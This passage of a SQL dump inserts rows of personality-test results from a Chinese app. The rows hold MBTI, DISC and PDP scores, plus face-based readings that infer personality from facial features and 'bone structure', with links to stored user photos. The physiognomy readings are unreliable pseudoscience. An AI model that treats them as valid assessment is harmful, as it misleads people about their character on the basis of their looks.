\"personalitySummary\": \"性格友善外向,情绪表达自然丰富,富有想象力与玩心,乐于尝试新鲜事物并与周围建立温暖连结。\"}', NULL, NULL, 1, 0, 0, NULL, 1772074447, 1772074447, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (5, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"天真好奇、亲和力强,富有想象与玩心,善于营造轻松愉悦氛围,适合充满互动与创意的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆滑饱满,骨感不显偏向柔和之象,气质以亲和、包容与弹性适应为主。\", \"faceAnalysis\": \"圆润脸型与大而明亮的眼睛,透露单纯、好奇与强烈亲近欲,表情专注而无戒心。\", \"personalitySummary\": \"性格活泼外向,情绪表达自然直接,重视陪伴与互动;好奇心强,乐于尝试新事物;在人际中以温柔可亲与玩闹氛围影响他人。\"}', NULL, NULL, 0, 0, 0, NULL, 1772077612, 1772077612, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (6, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内韧、好奇心强,情绪明亮,亲和力高,适合创意与互动并重的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰盈,线条圆滑,属水土偏旺之象,抗压以柔性缓冲为主,稳定中带弹性。\", \"faceAnalysis\": \"大眼圆润有光、五官饱满偏圆,整体给人单纯友好、信任度高且富有童心的气质。\", \"personalitySummary\": \"性格温暖外向,富想象力与同理心,乐于探索新事物与结交伙伴,重视情感连接与轻松氛围。\"}', NULL, NULL, 0, 0, 0, NULL, 1772085904, 1772085904, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (7, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表温柔亲和,内在好奇活泼,情感细腻,善于带动氛围和照顾周围情绪,适合创意与人际相关领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰润偏水土形,线条圆滑少棱角,稳重中带灵动,抗压方式以柔性缓冲与情绪调节见长。\", \"faceAnalysis\": \"面部圆润饱满、五官柔和,眼睛圆大有神,整体给人亲切无攻击感,情绪外显、乐观开朗。\", \"personalitySummary\": \"性格温暖黏人、好奇心强,重视陪伴与互动,安全感来自稳定关系;做事随性但富创意,人际友善,擅长用温柔方式影响他人。\"}', NULL, NULL, 1, 0, 0, NULL, 1772086859, 1772086859, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (8, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向亲和、感受敏锐,情绪明亮,喜欢互动与陪伴,适合在轻松环境中发挥创造与感染力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨感不强而以圆润为主,属水土柔和之象,重在包容与稳定,偏向守成与享受当下。\", \"faceAnalysis\": \"圆润饱满、五官柔和,眼大有神而无压迫感,整体给人亲近、安全与温柔信赖之感。\", \"personalitySummary\": \"性格温柔黏人,重感情、爱互动,乐于取悦他人,安全感需求高,依恋稳定的人与环境。\"}', NULL, 22, 1, 1, 1, 1772097475, 1772088690, 1772097481, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (9, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向活泼,情绪单纯明亮,亲和力强,适合高互动与创造性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸圆润、骨感不显,肉多掩骨,属柔和亲和型结构,抗压方式偏情绪缓冲与环境适配。\", \"faceAnalysis\": \"大眼圆瞳、短鼻小口与饱满脸型,整体给人单纯、信赖、亲近与好奇的感觉。\", \"personalitySummary\": \"性格单纯乐观,强烈好奇心与玩心并存,重视当下体验与互动回应,人际表现亲切黏人,容易成为团队的气氛担当与情绪疗愈者。\"}', NULL, 24, 1, 1, 1, 1772098134, 1772088972, 1772098138, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (10, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻又具创造力,适合在自由氛围中发挥想象与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸线条柔和偏圆,骨感不突显,属水木相融合,重情重趣,适合以灵活适配和创意表达见长。\", \"faceAnalysis\": \"圆润面部与大眼透露童真与包容,表情专注却无攻击性,整体给人亲近、安全与信赖感。\", \"personalitySummary\": \"性格温柔友好,想象力丰富,乐于互动与陪伴,遇事以情感与直觉回应,重视氛围与关系和谐。\"}', NULL, 21, 1, 1, 1, 1772097190, 1772089010, 1772097195, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (11, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向温暖、好奇心强,富有想象力与亲和力,擅长在轻松氛围中激发他人潜能。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体轮廓饱满柔和,骨肉丰厚偏水木形,相对少锐角,主感受力强、适应快、压力承载偏弹性。\", \"faceAnalysis\": \"圆润脸型与大眼晶亮,神情专注又天真,透露强烈好奇心与亲近感,人际开放友善。\", \"personalitySummary\": \"性格灵动活泼,情绪表达自然,乐于探索新事物并与他人分享,重视氛围与情感联结,组织性略逊但创意与感染力突出。\"}', NULL, 20, 1, 1, 1, 1772096995, 1772094812, 1772096998, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (12, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻,富有创意与亲和力,适合在人际与创意场景中发光。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸轮廓圆滑偏水形,骨肉丰润,抗压以柔克刚,适应环境与情境能力突出。\", \"faceAnalysis\": \"五官圆润饱满、眼大有神,整体给人亲切软萌之感,情绪表达自然真诚,亲和力极高。\", \"personalitySummary\": \"性格温柔热情,喜欢探索新鲜事物,善于用真诚和幽默拉近距离;做事随性但富有想象力,适合自由度高且能与人互动的环境。\"}', NULL, 19, 1, 1, 1, 1772096444, 1772095236, 1772096493, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (13, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且内驱明确,思维细腻,有规划意识与长远眼光,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨感清晰偏纤细,属木水结合之形,相对理性敏感,决断偏谨慎,重思考与稳妥推进。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注内敛,鼻梁秀直,嘴形柔和克制,下颌略尖显感性与理想色彩。\", \"personalitySummary\": \"性格内敛安静,情绪稳定度尚佳,做事讲逻辑与秩序,偏完美主义与自我要求高,重个人空间与精神追求。\"}', NULL, 23, 1, 1, 1, 1772097793, 1772097765, 1772097797, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (14, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:29:32.351Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:29:32.351Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 10, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098172, 1772098172, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (15, 1, 'mbti', '{\"scores\": {\"E\": 0, \"F\": 8, \"I\": 9, \"J\": 0, \"N\": 7, \"P\": 6, \"S\": 0, \"T\": 0}, \"answers\": [], \"mbtiType\": \"INFP\", \"timestamp\": \"2026-02-26T09:30:17.331Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:17.331Z\", \"description\": {\"name\": \"调停者\", \"type\": \"INFP\", \"careers\": [\"作家\", \"心理咨询\", \"社工\"], \"category\": \"理想主义者\", \"strengths\": [\"创造力\", \"同理心\", \"真诚\"], \"weaknesses\": [\"过于理想化\", \"情绪化\"], \"description\": \"理想主义、忠诚的调解者\"}, \"testDuration\": 8, \"dimensionScores\": {\"EI\": {\"E\": 0, \"I\": 9, \"dominant\": \"I\", \"percentage\": 100}, \"JP\": {\"J\": 0, \"P\": 6, \"dominant\": \"P\", \"percentage\": 100}, \"SN\": {\"N\": 7, \"S\": 0, \"dominant\": \"N\", \"percentage\": 100}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098217, 1772098217, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (16, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:30:35.053Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:35.053Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 9, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098235, 1772098235, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (17, 1, 'mbti', '{\"scores\": {\"E\": 4, \"F\": 4, \"I\": 5, \"J\": 3, \"N\": 3, \"P\": 4, \"S\": 3, \"T\": 4}, \"answers\": [], \"mbtiType\": \"ISTP\", \"timestamp\": \"2026-02-26T09:31:36.648Z\", \"confidence\": 53, \"completedAt\": \"2026-02-26T09:31:36.648Z\", \"description\": {\"name\": \"鉴赏家\", \"type\": \"ISTP\", \"careers\": [\"工程师\", \"技术员\", \"飞行员\"], \"category\": \"探险家\", \"strengths\": [\"适应力强\", \"动手能力\", \"冷静\"], \"weaknesses\": [\"可能冷漠\", \"不善表达\"], \"description\": \"灵活、务实的问题解决者\"}, \"testDuration\": 51, \"dimensionScores\": {\"EI\": {\"E\": 4, \"I\": 5, \"dominant\": \"I\", \"percentage\": 56}, \"JP\": {\"J\": 3, \"P\": 4, \"dominant\": \"P\", \"percentage\": 57}, \"SN\": {\"N\": 3, \"S\": 3, \"dominant\": \"S\", \"percentage\": 50}, \"TF\": {\"F\": 4, \"T\": 4, \"dominant\": \"T\", \"percentage\": 50}}}', NULL, 26, 1, 1, 1, 1772157110, 1772098296, 1772157115, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (18, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T01:34:12.437Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 18, \"secondaryType\": \"Peacock\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156052, 1772156052, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (19, 1, 'pdp', '{\"scores\": {\"Owl\": 6, \"Koala\": 9, \"Tiger\": 2, \"Peacock\": 3, \"Chameleon\": 0}, \"answers\": {\"1\": \"Koala\", \"2\": \"Koala\", \"3\": \"Koala\", \"4\": \"Koala\", \"5\": \"Koala\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Owl\", \"9\": \"Tiger\", \"10\": \"Owl\", \"11\": \"Tiger\", \"12\": \"Owl\", \"13\": \"Koala\", \"14\": \"Koala\", \"15\": \"Koala\", \"16\": \"Owl\", \"17\": \"Owl\", \"18\": \"Peacock\", \"19\": \"Koala\", \"20\": \"Owl\"}, \"completedAt\": \"2026-02-27T01:35:10.123Z\", \"description\": {\"type\": \"考拉型\", \"color\": \"#10B981\", \"emoji\": \"🐨\", \"title\": \"支持者\", \"careers\": [\"人力资源\", \"客户服务\", \"教师\"], \"teamRole\": \"适合担任协调者和支持者角色\", \"strengths\": [\"可靠稳定\", \"团队协作\", \"善解人意\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"Owl\": 30, \"Koala\": 45, \"Tiger\": 10, \"Peacock\": 15, \"Chameleon\": 0}, \"dominantType\": \"Koala\", \"testDuration\": 40, \"secondaryType\": \"Owl\"}', NULL, 28, 1, 1, 1, 1772157446, 1772156110, 1772157451, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (20, 1, 'disc', '{\"scores\": {\"C\": 3, \"D\": 4, \"I\": 7, \"S\": 6}, \"answers\": {\"1\": \"D\", \"2\": \"I\", \"3\": \"S\", \"4\": \"C\", \"5\": \"S\", \"6\": \"I\", \"7\": \"D\", \"8\": \"I\", \"9\": \"S\", \"10\": \"C\", \"11\": \"S\", \"12\": \"I\", \"13\": \"D\", \"14\": \"I\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-02-27T01:35:45.290Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 15, \"D\": 20, \"I\": 35, \"S\": 30}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"S\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156145, 1772156145, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (21, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T01:36:09.553Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 18, \"secondaryType\": \"I\"}', NULL, 29, 1, 1, 1, 1772157482, 1772156169, 1772157485, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (22, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,重视内在原则与长期规划,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不夸张,颧骨不凸显权势而重内敛思谋,更擅长谋划与支持而非强势掌控。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人理性细腻、安静克制之感。\", \"personalitySummary\": \"内向安静,思维细致,有同理心与理想主义倾向,做事谨慎有计划,重视个人空间与稳定节奏。\"}', NULL, NULL, 1, 0, 1, NULL, 1772160911, 1772160911, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (23, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维细腻,重视独立空间与深度思考,适合研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,五官布局均衡偏上停用力,思考与学习能力突出,行动节奏温和但韧性佳,适合持久深耕型发展。\", \"faceAnalysis\": \"额头偏高饱满,眼神内敛专注,鼻梁清秀,嘴形含蓄,下颌略尖,整体给人理性安静、思虑周全之感。\", \"personalitySummary\": \"逻辑导向,善于抽象分析与问题拆解;情绪表达克制,有边界感;做事追求准确与效率,习惯独立完成任务,对熟悉圈层较为温和体贴。\"}', NULL, NULL, 1, 0, 1, NULL, 1772161323, 1772161323, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (24, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重视内心秩序与长期目标,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉适中,线条清长不突兀,决断多经思量后出手,抗压方式以内敛稳守为主。\", \"faceAnalysis\": \"额头顺畅、眼神内敛专注,鼻梁清秀、嘴形柔和含蓄,整体显理性克制、重思考少外露情绪。\", \"personalitySummary\": \"内向理性,洞察力强,做事有条理与原则,言语温和但边界清晰,更重质量与深度而非表面热闹。\"}', NULL, NULL, 1, 0, 1, NULL, 1772164524, 1772164524, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (25, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维敏捷,内向专注,有独立判断与持续深耕能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰偏纤细,属木水形相,骨重肉薄,思维敏锐但行事低调,以理性分析和持续钻研见长。\", \"faceAnalysis\": \"额头平顺偏高,眼神安静克制,鼻梁清秀,嘴形含蓄,下巴略尖,整体气质理性而内敛。\", \"personalitySummary\": \"性格安静理智,重视逻辑与独立空间,表达温和不失原则,适合从事需要专注思考与专业深度的工作。\"}', NULL, 35, 1, 1, 1, 1772172909, 1772164861, 1772172912, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (26, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-27T04:01:37.973Z\", \"confidence\": 100, \"completedAt\": \"2026-02-27T04:01:37.973Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 22, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, 34, 1, 1, 1, 1772172885, 1772164898, 1772172888, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (27, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-02-27T04:02:37.556Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 17, \"secondaryType\": \"Tiger\"}', NULL, 33, 1, 1, 1, 1772172854, 1772164957, 1772172860, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (28, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 1, \"S\": 19}, \"answers\": {\"1\": \"I\", \"2\": \"S\", \"3\": \"S\", 